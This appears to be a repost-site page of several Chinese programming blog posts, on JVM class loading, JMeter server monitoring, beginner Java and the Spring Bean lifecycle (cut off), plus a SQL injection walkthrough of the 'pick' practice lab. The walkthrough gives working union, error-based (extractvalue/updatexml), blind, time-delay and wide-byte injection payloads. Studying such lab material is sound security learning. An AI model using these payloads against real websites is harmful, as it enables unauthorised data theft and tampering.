深入理解JVM(③)虛擬機的類加載過程

前言

上一篇我們介紹到一個類的生命周期大概分7個階段:加載、驗證、準備、解析、初始化、使用、卸載。並且也介紹了類的加載時機,下面我們將介紹一下虛擬機中類的加載的全過程。主要是類生命周期的,加載、驗證、準備、解析和初始化這五個階段所執行的具體動作。

加載

類加載過程的第一個階段就是加載,在加載階段,Java虛擬機需要完成以下三件事情:

1. 通過一個類的全限定名來獲取定義此類的二進制字節流。
2. 將這個字節流所代表的靜態存儲結構轉化為方法區的運行時數據結構。
3. 在內存中生成一個代表這個類的java.lang.Class對象,作為方法區這個類的各種數據的訪問入口。
《Java虛擬機規範》對這三點要求其實並不是特別具體,這樣留給虛擬機實現和Java應用的靈活度都是相當大的。僅第一條,獲取二進制字節流,並沒有有指出從哪裡獲取,如何獲取。這樣就已經能被我們的Java開發人員玩出各種花樣了。
例如:

  • 從ZIP包中讀取(JAR、EAR、WAR)。
  • 從網絡中獲取(Web Applet)。
  • 運行時計算生成,最典型的就是動態代理技術,在java.lang.reflect.Proxy中,就是用了ProxyGenerator.generateProxyClass()來為特定接口生成形式為“$Proxy”的代理類的二進制字節流。
  • 由其他文件生成(JSP)。
  • 從數據庫中讀取。
  • 從加密文件中獲取(防止被反編譯獲取源碼)。
  • …….. …..

相對於類加載的其他階段,非數組類型的加載階段是開發人員可控性最強的階段。加載階段即可以使用Java虛擬機里內置的引導類加載器完成,也可以由用戶自定義的類加載器去完成。

驗證

驗證這一階段的目的是確保Class文件的字節流中包含的信息符合《Java虛擬機規則》的全部約束要求,保證這些信息被當作代碼運行后不會危害虛擬機自身安全。
驗證階段大致上會完成下面四個階段的檢驗動作:
文件格式驗證、元數據驗證、字節碼驗證和複合引用驗證。

文件格式驗證

這是驗證的第一個階段,主要是驗證字節流是否符合Class文件格式的規範,並且能被當前版本的虛擬機處理。
這一階段的驗證點有:

  • 是否以魔數0xCAFEBABE開頭。
  • 主、次版本號是否在當前Java虛擬機接受範圍之內。
  • 常量池的常量中是否有不被支持的常量類型。
  • 指向常量的各種索引值是否有指向不錯在的常量或不符合類的常量。
  • … …

這個階段的驗證是基於二進制字節流進行的,只有通過了這個階段的驗證之後,這段字節流才被允許進入Java虛擬機內存的方法區中進行存儲,後面的階段都是基於方法區的存儲結構進行的,不會再直接讀取、操作字節流了。

元數據驗證

第二階段是對字節碼描述的信息進行語義分析,以保證其描述的信息符合《Java虛擬機規則》的要求,這個階段主要有以下一些驗證點:

  • 當前類是否有父類(除java.lang.Object外,所有類都應當有父類)。
  • 當前類的父類是否繼承了不允許被繼承的類(被final修飾的類)。
  • 如果當前類非抽象類,是否實現了父類或接口要求實現的所有方法。
  • 類中的字段、方法是否與父類產生矛盾。
  • … …
字節碼驗證

第三階段是整個驗證過程最複雜的一個階段,主要目的是通過數據流分析和孔劉分析,確定程序語義是合法的、符合邏輯的。
為了保證被校驗的方法在運行時不會做出危害虛擬機的安全的行為,主要做了如下一些校驗:

  • 保證任意時刻操作棧的數據類型與指令代碼序列都能配合工作,例如不會出現類似於“在操作放置了一個int類型數據,使用時卻按long類型來加載如本地變量表中”這樣的情況。
  • 保證任何跳轉指令都不會跳轉到方法體以外的字節碼指令上。
  • 保證方法體中的類型轉換總是有效的。例如:一個子類對象賦值給父類數據類型,這是安全的,但是把父類對象賦值為子類數據類型,獲取賦值給另外一個毫無關係的數據類型,則是不合法的。
  • … …

如果一個類型中有方法體的字節碼沒有通過字節碼驗證,那它肯定是有問題的;但如果一個方法體通過了字節碼驗證,也仍然不能保證它一定就是安全的。因為字節碼驗證也是在程序中進行的,即不能通過程序準確地檢查出程序是否能在有限時間之內結束運行。

符號引用驗證

最後一個階段的校驗行為發生在虛擬機將符號引用轉化為直接引用的時候,這個轉化動作將在連接的第三個階段——解析階段發生。
本階段通常需要校驗下列內容:

  • 符號引用中通過字符串描述的全限定名是否能找到對應的類。
  • 在指定類中是否存在符合方法的字段描述符及簡單名稱所描述的方法和字段。
  • 符合引用中的類、字段、方法的可訪問性,是否可被當前類訪問。

驗證階段對於虛擬機的類加載機制來說,是一個非常重要的、但卻不是必須要執行的階段,因為如果程序運行的全部代碼都已經被反覆使用和驗證過,在生成環境的實施階段就可以考慮使用-Xverify:none參數來關閉大部分的類驗證措施,來縮短類加載的時間。

準備

準備階段是正式為類中定義的變量分配內存並設置類變量的初始值的階段,這些變量所使用的內存都應當在方法區中進行分配,需要注意的是,這裏所說的方法區只是一個概念上的區域,在JDK7以及之前HotpSpot用永久代實現方法區,這個概念是正確的,但是在JDK8以及之後,類變量會隨着Class對象一起存放在Java堆中,這個時候類變量存在於方法區就僅僅是一個概念了。
在準備階段有兩點需要着重強調
1、在準備階段進行內存分配的僅包括類變量,而不包括實例變量,實例變量將會在對象實例化時隨着對象一起分配在Java堆中。
2、這裏所說的為類變量設置初始值,“通常情況”下是數據類的零值。
例如一個類變量定義為:

public static int value = 666;

那變量在準備階段過後的初始值為0而不為666,因為這個時候還未開始執行任何Java方法,而把value賦值為666的putstatic指令是程序被編譯后,存放於類構造器 ()方法之中,所以把value賦值為666的動作要到類的初始化階段才會被執行。

但是如果類字段的屬性表中存在ConstantValue屬性,那在準備階段變量值就會被初始化為ConstantValue屬性所指定的初始值,例如:

public static final int value = 666;

在編譯時Javac將會為value生成ConstantValue屬性,在準備階段虛擬機就會根據ConstantValue的設置將value賦值為666。

解析

解析階段是Java虛擬機將常量池內的符號引用替換為直接引用的過程,符號引用在Class文件中它以CONSTANT_Class_info、CONSTANT_Fieldref_info、CONSTANT_Methodref_info等類型的常量出現。
先來解釋一下什麼是符號引用和直接引用。

  • 符號引用:符號引用以一組符號來描述所引用的目標,符號可以是任何形式的字面量,只要使用時能無歧義地定位到目標即可。
  • 直接引用:直接引用是可以直接指向目標的指針、相對偏移量或者是一個能間接定位到目標的句柄。

解析動作主要針對類或接口、字段、類方法、接口方法、方法類型、方法句柄和調用點限定這7類符號引用進行,分別對應於常量池的CONSTANT_Class_info、CONSTANT_Fieldref_info、CONSTANT_Methodref_info、CONSTANT_InterfaceMethodref_info、CONSTANT_MehodType_info、CONSTANT_MethodHandle_info、CONSTANT_Dynamic_info和CONSTANT_InvokeDynamic_info
這8種常量類型。

初始化

初始化階段是類加載過程的最後一個步驟,之前介紹的幾個類加載的動作里,出了在加載階段用戶應用程序可以通過自定義類加載器的方式局部參与外,其餘動作都完全由Java虛擬機來主導控制。
簡單的來說,初始化階段就是執行類構造器<clinit>()方法的過程。那麼<clinit>()是如何執行的呢?

  • <clinit>()方法是由編譯器自動收集類中所有變量的複製動作和靜態語句塊(stataic{}塊)中的語句合併產生的,編譯器收集的順序是由語句在源文件中出現的的順序決定的,靜態語句塊中只能訪問到定義在靜態語句塊之前的變量,定義在它之後的變量,在前面的靜態語句塊可以賦值,但是不能訪問。
    例如:
  • <clinit>()方法與類的構造函數不同,它不需要顯式地調用父類構造器,Java虛擬機會保證在子類 ()方法執行前,父類 ()方法以及執行完畢。
  • 由於父類的<clinit>()方法先執行,即父類中定義的靜態語句塊要優先於子類的變量賦值操作。
    如下代碼運行結果會是 4
    父類
public class FatherClass {

    public static int fatherObject = 3;

    static {
        fatherObject = 4;
    }
}

子類

public class SonClass extends FatherClass{

    public static int sonObject = fatherObject;

}

測試

@Test
public void testClassLoad(){
    System.out.println(SonClass.sonObject);
}

運行結果

4
  • <clinit>()方法對於類或接口來說並不是必需的。
  • 接口中不能使用靜態語句塊,但仍然有變量初始化的賦值操作,因此接口與類一樣都會生成<clinit>()方法。
  • Java虛擬機必須保證一個類的<clinit>()方法在多線程環境中被正確地加鎖同步,若同時多個線程區初始化一個類,那麼只會有其中一個線程去執行這個類的<clinit>()方法,其他線程都需要阻塞等待,直到活動線程執行完畢<clinit>()方法。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

Jmeter系列(35)- 使用 ServerAgent 監控服務器

如果你想從頭學習Jmeter,可以看看這個系列的文章哦

https://www.cnblogs.com/poloyy/category/1746599.html

 

前言

  • 做性能測試,監控服務器資源指標是必須有的一步
  • 這一篇博客將講解通過 Jmeter 插件來監控服務器,再通過 Jmeter 觀察監控結果

 

下載、安裝、運行插件

  1. JMeterPlugins-Extras.jar
  2. JMeterPlugins-Standard.jar
  3. ServerAgent-2.2.3.zip

可以通過官方下載:https://jmeter-plugins.org/downloads/old/

注意

  • 前兩個插件最新版本在官網已經不提供下載了,只能下載舊版本,官方建議通過 Plugins Manager 下載需要的插件哦
  • 博主安裝了以下插件,已經包含上面講的前兩個插件了

 

這裏也提供百度雲下載鏈接哈

鏈接:https://pan.baidu.com/s/1bAaKqGoyaTVoq5picgBGMw 

提取碼:q92i

 

客戶端(Jmeter 端)

  1. 如果通過官網下載的話,就將 JMeterPlugins-Extras.jar 和 JMeterPlugins-Standard.jar 放到  D:\apache-jmeter-5.2.1\lib\ext 
  2. 然後通過 PerfMon Metrics Collector 監聽器進行服務器性能數據显示

 

服務端(Linux)

將 ServerAgent-2.2.3.zip 放到任意目錄下,解壓

unzip  ServerAgent-2.2.3.zip 

 

進入 ServerAgent 目錄

 

我提供的 ServerAgent 裏面,兩個 start 腳本已經是可執行腳本了,直接運行即可

./startAgent.sh

 

運行成功,則會出現下圖

 

如果無法運行,則需要給腳本賦權

chmod 777 startAgent.sh

 

如果是想監控 Window 機器,則將 ServerAgent 放到 Window 電腦的目錄下,然後直接雙擊運行  startAgent.bat 即可

 

划重點

  • 啟動 ServerAgent 的前提是系統已安裝配置好 Java 環境
  • 默認佔用端口是 4444

 

啟動 ServerAgent 可能會出現的問題

端口被佔用

殺掉佔用 4444 端口的進程

  1. 先查出 4444 端口是什麼進程佔用
  2. 然後查看進程詳情,確認是否能殺掉
  3. 如果可以,則殺掉、

 

ServerAgent 通過其他端口啟動

./startAgent.sh --udp-port 0 --tcp-port 1234

 

0 代表不開啟該端口,一般我們只用 tcp 足以

 

端口未對外開放

  • 如果服務器開啟了防火牆,而且之前沒用過 4444 端口,那麼該端口很可能會被禁用
  • 為了解決防火牆和開放端口的問題,可以參考這篇博文:https://www.cnblogs.com/poloyy/p/12213297.html

 

Jmeter 監控服務器全流程

一個簡單的負載測試線程組結構樹

一般做負載測試,會監控服務器資源、活動線程數、響應時間、TPS等等,所以加了一堆監聽器

 

PerfMon Metrics Collector

IP 自然就是填需要監控的服務器 IP啦,如果是監控本機就填 127.0.0.1 就好了

 

可監控的指標列表

還挺多,不過一般重點關注前面四個就好了

 

運行結果

我的 cpu 真高…因為數據庫出現死鎖了,回頭可以好好性能分析一波了!

  本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

※USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※幫你省時又省力,新北清潔一流服務好口碑

※回頭車貨運收費標準

【秒懂Java】【第1章_初識Java】01_編程語言

各位小夥伴們好哇!從今日起,我將開始更新《秒懂Java》系列文章,從0開始講解Java的方方面面,完全零基礎也可以看懂。後面也將推出配套的視頻版,歡迎大家保持關注!

  • 我會儘力辦到:在保證通俗易懂的同時,不丟失知識的嚴謹性和完整性
  • 不管你是否有編程經驗,只要你感興趣、細心閱讀,就能學會
  • 本文是《秒懂Java》系列的第1篇文章,主要認識幾個基礎概念

什麼是計算機?

一說到計算機(Computer),大家首先想到的可能是電腦(台式電腦、手提電腦)。

實際上,我們日常生活中使用的平板電腦、智能手機也屬於計算機,它們的功能也跟電腦一樣非常強大。

還有KTV的點歌機、超市的自助收銀機等很多設備也都屬於計算機。

毋庸置疑,計算機是人類歷史上最偉大的發明之一,極大地提高了社會的生產力,目前它已經延伸到了生活、學習、工作等各個領域,無處不在。如今,我們會在計算機上安裝各種各樣的軟件(應用、遊戲),學習工作、衣食住行、吃喝玩樂一網打盡,極大地改變了我們的生活、學習、工作方式。

什麼是編程語言?

語言,是雙方進行溝通交流的主要表達方式。

  • 如果我要跟咱們中國人進行交流,應該用漢語
  • 如果我要跟美國人進行交流,應該用英語
  • 如果我要跟韓國人進行交流,應該用韓語

那如果我要跟計算機進行交流呢?那就應該用計算機編程語言。

  • 是的,計算機編程語言,就是用來跟計算機進行溝通交流的語言
  • 一般把計算機編程語言簡稱為:編程語言(Programming Language)

注意:我們要學習的很多IT技術都源自西方國家(比如美國),因此,很多技術名詞,都是從英文翻譯過來的。為了保證描述的嚴謹性,當首次提及某個技術名詞時,我都會在它旁邊標註原本的英文單詞。

與計算機進行交流

那如何利用編程語言與計算機進行交流呢?

編程語言,顧名思義,就是可以用來“編寫程序”的語言。

  • 首先,利用編程語言編寫一段程序。例如上圖所示的程序,只包含了3行代碼,這裏簡單說一下代碼的大概意思(了解一下即可,不用去深究)
    • 第1行:創建了一個播放器
    • 第2行:設置播放器的音量為100
    • 第3行:開始播放某個mp4視頻
  • 最後,將程序運行到計算機上,計算機就會開始識別執行程序中的每一句代碼,完成相應的功能,最後成功播放視頻

我們平時使用的各種軟件(應用、遊戲)都是通過編程語言開發出來的,它們都由一大堆的代碼組成。當打開軟件時(將軟件運行到計算機上時),計算機就會開始識別執行軟件中包含的代碼,完成相應的功能。

所以,編程語言有一個非常重要的作用,那就是:開發軟件!

主流編程語言

世界上有上百種各式各樣的編程語言,目前比較常見的主流編程語言有

  • Java、C、C++、C#、PHP、Python、Go
  • JavaScript(簡稱JS)、TypeScript(簡稱TS)
  • Objective-C(簡稱OC)、Swift、Kotlin
  • Scala、Assembly Language(彙編語言) 等

每一門編程語言的作用都不太一樣,比如

  • Java、Kotlin:可以用來開發Android系統中的軟件
  • Objective-C、Swift:可以用來開發iOS、Mac系統中的軟件
  • C、C++、C#:可以用來開發Windows系統中的軟件

當然,上面列舉的僅僅是它們的部分功能,並沒有說完整。比如:

  • C、C++也可以開發Android、iOS、Mac、Linux等系統中的軟件
  • Java也可以開發Mac、Linux、Windows等系統中的軟件

其他的就不一一說明了,了解一下即可

語法

每當我們要學習一門新的語言時,都要先學習它的語法。

  • 比如,學習英語就要先學習它的語法,英語的語法規定了:英文句子可以怎麼寫、不可以怎麼寫
  • 同樣的,每一門編程語言都有自己的語法,編程語言的語法規定了:你的代碼可以怎麼寫、不可以怎麼寫
    • 比如,Java語言的語法規定:每一句代碼後面都必須以分號(;)結束
    • 代碼一旦出現了語法錯誤,就無法成功運行到計算機上

不同編程語言的語法是不一樣的,每一門編程語言都有自己特有的語法。比如,想讓計算機播放一個視頻,不同編程語言可能會有不同的寫法。

不難看出它們之間的一些差異(了解一下即可,不用去深究)

  • Java、OC都以分號(;)結束,而Python不需要以分號(;)結束
  • Java、Python中都使用了點(.)、小括號(()),而OC中使用了中括號([])、冒號(:)、@符號
  • Java、OC中都使用雙引號(“”),而Python中可以使用單引號(”)

雖然它們的寫法不一樣,但是都完成了一樣的功能:讓計算機播放一個視頻。如果想利用編程語言開發出強大優秀的軟件、控制計算機做更多的事情,首先要踏踏實實學好編程語言的語法。如果你連語法都不懂,怎麼可能寫出正確的代碼呢?

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

pick靶場-sql注入

甲.数字型注入

数字型注入一般提交值沒有引號,所以直接在後面構造語句就可以了。

 

 

 

 抓包查看

 

 

 

 構造語句

 

 

 

 提交后

 

 

 

 

該數據庫表內容被爆出來了。

 

乙.字符型注入

 

首先我們要知道一點,字符串在數據庫中提交是需要用引號將字符串包含的。所以字符型注入一般需要用到引號來閉合字符串,閉合引號后就可以接執行的sql語句,就可以執行。

name=’kobe’

這時候需要構造語句  ‘or 1=1# 單引號是為了閉合1前面的單引號,#是為了註釋掉後面語句

 

這裏輸入kobe提交后显示了uid和email,猜測語句是 select uid,email from 表 where username=’輸入的值’

這裏要構造語句,輸入的值變成’or 1=1#。那麼查詢語句就是select uid,email from 表 where username=”or 1=1#’

閉合單引號后,把後面一個單引號註釋掉。

 

 

 

嘗試讀取數據庫信息。

使用order by 猜表字段數

 

 

 

 

 

 

表字段數為2,開始構造語句

 database() 數據庫名

 version() 數據庫版本

 user()

 

22′  union select  database(),user()#

 

這裏了解下mysql中information_schema數據庫,他可以幫助我們查詢更多信息。

 

Mysql 5.0以上中,information_schema數據庫會記錄當前數據庫信息。

information_schema.tables 表名信息

information_schema.columns  列名信息

Table_name 表名

Column_name 列名

Table_schema  數據庫名

 

group_concat用來合併多條數據記錄,可用來合併結果。

因此,查詢當前數據庫下錶名可以使用(group_concat使用與否均可,主要看返回信息。)

group_concat(table_name) from information_schema.tables where table_schema = database()

查詢表中列名

group_concat(column_name) from information_schema.columns where table_name = ‘列名’、

 

丙.搜索型注入

搜索框中的數據庫語句一般是採用的查詢語句,這裏我們先了解下sql查詢語句

SQL提供了四種匹配模式:% _ [ ] [^ ]

 

1. %

%表示模糊匹配0或多個字符,如以下查詢語句:

select * from user where name like ‘%三%’; 這個語句將會把name中帶有“三”的信息全部查找出來

select * from user where name like ‘%三’ ; 這個語句將會把name中最右邊帶有“三”的信息全部查找出來

select * from user where name like ‘三%’ ; 這個語句將會把name中最左邊帶有“三”的信息全部查找出來

 

2. _

_表示任意單個字符,如以下語句:

select * from user where name like ‘_三_’; 這個語句會匹配出“二三四”

select * from user where name like ‘__三’; 這個語句會匹配出“一二三”

 

3. [ ]

[ ]表示括號內所列字符中的一個(類似於正則表達式),如以下語句:

select * from user where name like ‘老[大二三]’; 如果都存在的話將找出“老大”、“老二”、“老三”

同時支持縮寫0-9、a-z等。

 

4.[^ ]

類似於正則表達式,將括號內的元素排除,如以下語句:

select * from user where name like ‘[0-3]個’ 將會檢索出除了“0個”,“1個”,“2個”,“3個”

————————————————

版權聲明:本文為CSDN博主「MuffinFish」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/qq_36113598/article/details/79372493

 

看題目,首先輸入ko,能夠查詢出來

 

再輸入ob,也可以查詢出來

 

 

 

很明顯,這裏使用的語句,應該是%這種類型的模糊查詢方式。

猜測語句是select username,uid,email from 表 where username=’%輸入的值%’

構造語句,直接使用’or 1=1#

‘閉合掉字符串,然後使用#註釋掉後面的%’

 

 

 

sql語句很靈活,閉合前一個語句后,可以使用聯合查詢查詢數據庫信息,比如’union select user(),2,3#

 

 

丁.xx注入

先試一試’union select 1,2#

報錯显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select 1,2,3#’)’ at line 1

發現我們寫的語句後面有個引號和括號,嘗試構造語句閉合

‘) union select 1,2,3#

報錯select列的數量不匹配,說明執行了我們構造的語句。嘗試改成’) union select 1,2#

 

 

爆表數據就要用 ‘)or 1=1#

 

 

戊.insert/update注入

insert/update/delete注入

在這3種情況中,我們不能使用 union 去做聯合查詢,因為這不是查詢,而是操作。首先猜測語句類型,是查詢類的可以通過union語句來查詢。

 

首先,添加用戶的地方是對數據庫表進行寫入操作。

我們要了解,sql中寫入新數據,用的語句是

INSERT INTO 表名稱 VALUES (值1, 值2,….)

我們也可以指定所要插入數據的列:

INSERT INTO table_name (列1, 列2,…) VALUES (值1, 值2,….)

使提交報錯也印證了語句是用是insert into語句

 

 

 

首先要了解insert注入一般使用的語句

extractvalue(1,concat(0x7e,(database()))) and ‘1’=’1′

extractvalue() :對XML文檔進行查詢的函數

語法:extractvalue(目標xml文檔,xml路徑)

第二個參數 xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

 

正常查詢 第二個參數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

 

concat函數是mysql的字符串連接函數

裏面可以執行sql語句

select concat(0x7e,(select user()) ,0x7e)

驗證結果:16進制也能被自動轉義(0x7e是 ~符號)

 

 

下面故意寫入語法錯誤:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

 

 

 https://blog.csdn.net/zpy1998zpy/article/details/80631036

 就是使extractvalue函數中第二個參數變成~select detabase(),這樣與extractvalue函數規定的語法不同,就會引起報錯。

在寫入數據的地方使用構造語句

ttt’and extractvalue(1,concat(0x7e,(database()))) and ‘1’=’1

 

 

 

 

updatexml()

做數據修改的時候會存在update注入的地方

 

updatexml()函數與extractvalue()類似,是更新xml文檔的函數。

語法updatexml(目標xml文檔,xml路徑,更新的內容)

報錯語句為

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

 

 

構造語句

aa’ and updatexml(1,concat(0x7e,(database())),1) and ‘1’=’1

 

 

 其實也可以使用extractvalue(),只要有報錯,會執行我們構造的語句就成。

 

 

己.delete注入

sql中刪除數據一般使用

DELETE 語句

DELETE 語句用於刪除表中的行。

語法

DELETE FROM 表名稱 WHERE 列名稱 = 值

 

點擊刪除

 

 

抓包看

 

 刪除的列名為id,值為59。不為字符串,可直接構造語句

and extractvalue(1,concat(0x7e,(database())))

 url上改直接輸入

 

 

改數據包需要使用空格實體或者+

 

 

庚.http header

web滲透很多地方都涉及到數據包頭部的改寫,我這裏就不多說。

 

 

這題很坑的地方在於,不了解後端代碼是怎麼寫的做起來很彆扭,因為這題目要显示出包頭的信息根本不需要將包頭信息存儲在數據庫中。代碼里倒是寫進數據庫了,但後面調用是直接讀前端獲取到的頭部信息,沒有從數據庫中讀取,可能作者是想做個類似訪問記錄的東西。

 

辛.boolian盲注

根據返回信息判斷語句是否正確。

基於真假的盲注主要特徵

  • 沒有報錯信息
  • 不管是正確的輸入,還是錯誤的輸入,都只有兩種情況(可以看做 0 or 1)
  • 在正確的輸入下,後面跟 and 1=1 / and 1=2 進行判斷

 

kobe’ and 1=1#
kobe’ and 1=2#

發現一條正確執行,一條显示用戶名不存在,說明後台存在 SQL 注入漏洞

length(database()) 判斷 數據庫名稱的長度

kobe’ and length(database()) >5#

 

SUBSTR函數

 substr(database(), 1, 1) 截取數據庫名稱第一個字符

ascii(substr(database(), 1, 1)) 截取數據庫名稱第一個字符,轉換成ascii值

kobe’ and ascii(substr(database(), 1, 1)) > 105# 判斷數據庫名稱第一個字符ascii值的大小

 

判斷出數據庫名稱后可以使用substr(database(),1,1)=’字母’#

進行爆破,然後substr(database(),2,1)=’字母’#依次爆破,得出完整數據庫名。

 

這裏簡要說明下SUBSTR函數:

SUBSTR函數是用來截取數據庫某一列字段中的一部分。

在各個數據庫的函數名稱不一樣

MySQL: SUBSTR( ), SUBSTRING( )

Oracle: SUBSTR( )

SQL Server: SUBSTRING( ) ;

常用的方式是:

SBUSTR(str,pos);

就是從pos開始的位置,一直截取到最後。

 

還有一種比較常用的是:

SUBSTR(str,pos,len);

這種表示的意思是,就是從pos開始的位置,截取len個字符(空白也算字符)。

需要注意的是:如果pos為1(而不是0),表示從第一個位置開始。

————————————————

版權聲明:SUBSTR函數說明為CSDN博主「呼嘯」的原創,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/howlaa/article/details/16825761

 

壬.延時盲注

構造語句,使語句提交操作延時,來判斷構造的語句是否正確。

kobe’ and sleep(3)#

該語句表示如果存在kobe,則延時提交3秒。

根據這個方法,可以組合其他語句來猜解當前數據庫信息。

 

lili’ and if(substr(database(),1,1)=’p’,sleep(5),1)#

 

 

 

盲注可以通過爆破來輔助猜解,具體參考https://www.cnblogs.com/paperpen/p/12324363.html

 

癸.寬字節注入

寬字節注入是因為數據庫使用了GBK編碼,多字節的編碼,兩個字節代表一個漢字。

注入中單引號存在被反斜杠轉義的情況。\’,其中\的十六進制是 %5C。%df’被轉義成%df\’,就變成了%df\’=%df%5c%27,%df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’。單引號就可以按照初期想法被識別。

構造語句kobe%df%27 or 1=1#,通過網頁修改無效,直接修改數據包,成功。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

Spring Bean生命周期的各階段介紹

一.xml方式配置bean

二.Aware接口

  2.1 BeanNameAware

  2.2 BeanFactoryAware

  2.3 ApplicationContextAware

  2.4 Aware各接口的執行順序

  2.4 Aware接口總結

三.BeanPostProcessor接口

四.InitializingBean接口

五.init-method方法

六.DestructionAwareBeanPostProcessor接口

七.DisposableBean接口

八.destory-method方法

九.生命周期大雜燴

  9.1 實現多接口的Student類

  9.2 BeanPostProcessor前後置處理

  9.3 DestructionAwareBeanPostPrecessor接口

  9.4 配置xml文件

  9.5 測試代碼

  9.6 輸出結果

十.總結

 

 

 

 

  Spring Bean的生命周期是一個老生常談的問題了,網上一搜一大把,無非就是畫一幅流程圖(比如下面這幅圖),然後用語言介紹創建bean后執行各Aware接口,然後BeanPostProcessor…..最終Bean創建成功了,就可以使用這個Bean了,然後在容器銷毀的時候,又會執行一些操作。

  其實對於上面的提到的流程圖,注意上面的圖只是Spring Bean的大概流程(省略了一部分),主要涉及到了5個接口,分別是XxxAware、BeanPostProcessor、InitiailizingBean、Destruction、DisposableBean接口,本文將會對這幾個接口,以及init-method、destroy-method做相關的使用介紹,在明白怎麼使用后,再把他們串起來,這樣的話,對於Spring Bean的生命周期就差不多知道咋回事了,而不用死記硬背。

 

一. xml方式配置Bean

  在說Aware、BeanPostProcessor、InitiailizingBean、Destruction、DisposableBean這些接口前,先簡單回顧一下使用xml配置並獲取一個Student類的bean過程,後面介紹各個接口的使用方式時時,也是按照這個形式;

1.1 創建Student類

  平淡無奇的Student類:

package cn.ganlixin.entity;

import lombok.Data;
import lombok.extern.slf4j.Slf4j;

@Data
@Slf4j
public class Student {

    private Integer id;
    private String name;
}

  

1.2 創建配置文件

  平淡無奇的applicationContext.xml配置文件,創建一個student bean,利用setter方式設置初始值:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean class="cn.ganlixin.entity.Student" id="student">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>
</beans>

  

1.3 測試

  創建一個Main類,用於測試

package cn.ganlixin;

import cn.ganlixin.entity.Student;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.xml.XmlBeanFactory;
import org.springframework.core.io.ClassPathResource;

@Slf4j
public class Test {

    public static void main(String[] args) {
        BeanFactory beanFactory = new XmlBeanFactory(new ClassPathResource("applicationContext.xml"));

        Student student = beanFactory.getBean("student", Student.class);
        log.info("測試程序獲取到的student bean:{}", student);
    }
}

  下面是運行程序的輸出,可以看到和預期相符,創建一個Student的bean,id和name默認值為99、張三;

INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

   

二.Aware接口

  Aware接口有很多實現類,本文只介紹BeanNameAware、BeanFactoryAware、ApplicationContextAware,關係如下:

  

 

2.1 BeanNameAware

  創建一個Student類,讓該類實現BeanNameAware接口,並且重寫setBeanName方法

@Data
@Slf4j
public class Student implements BeanNameAware {

    private Integer id;
    private String name;

    /**
     * 實現了BeanNameAware接口后,需重寫setBeanName方法,接收的參數就是bean的id
     *
     * @param s bean的id
     */
    @Override
    public void setBeanName(String s) {
        log.info("beanName:{}, student bean:{}", s, this);
        this.id = 100;
        log.info("將beanName:{}的id改為100", s);
    }
}

  配置文件和測試程序都不改變,運行測試程序,輸出內容如下:

INFO  [main] cn.ganlixin.entity.Student - beanName:student, student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - 將beanName:student的id改為100
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=100, name=張三)

  可以看到,實現BeanNameAware接口后,重寫setBeanName的方法中,獲取到的student bean,是已經初始化的bean(屬性都已經有值了),並且setBeanName方法中可以對當前的bean進行各種操作,包括修改bean的某些屬性,最後獲取到的bean是已經修改后的bean。

  這裏只是簡單介紹了一下BeanNameAware接口的用法,使用BeanNameAware接口,可以對當前Bean進行操作。

 

2.2 BeanFactoryAware

  創建Student類,實現BeanFactoryAware接口,並且重寫setBeanFactory方法

@Data
@Slf4j
public class Student implements BeanFactoryAware {

    private Integer id;
    private String name;

    /**
     * 實現BeanFactoryAware接口后,需重寫setBeanFactroy方法
     *
     * @param beanFactory 創建該bean的beanFactory
     */
    @Override
    public void setBeanFactory(BeanFactory beanFactory) throws BeansException {
        // 可以在setBeanFactory方法中獲取、修改beanFactory中的所有bean
        
        log.info("student this bean:{}", this);
        Student student = beanFactory.getBean("student", Student.class);
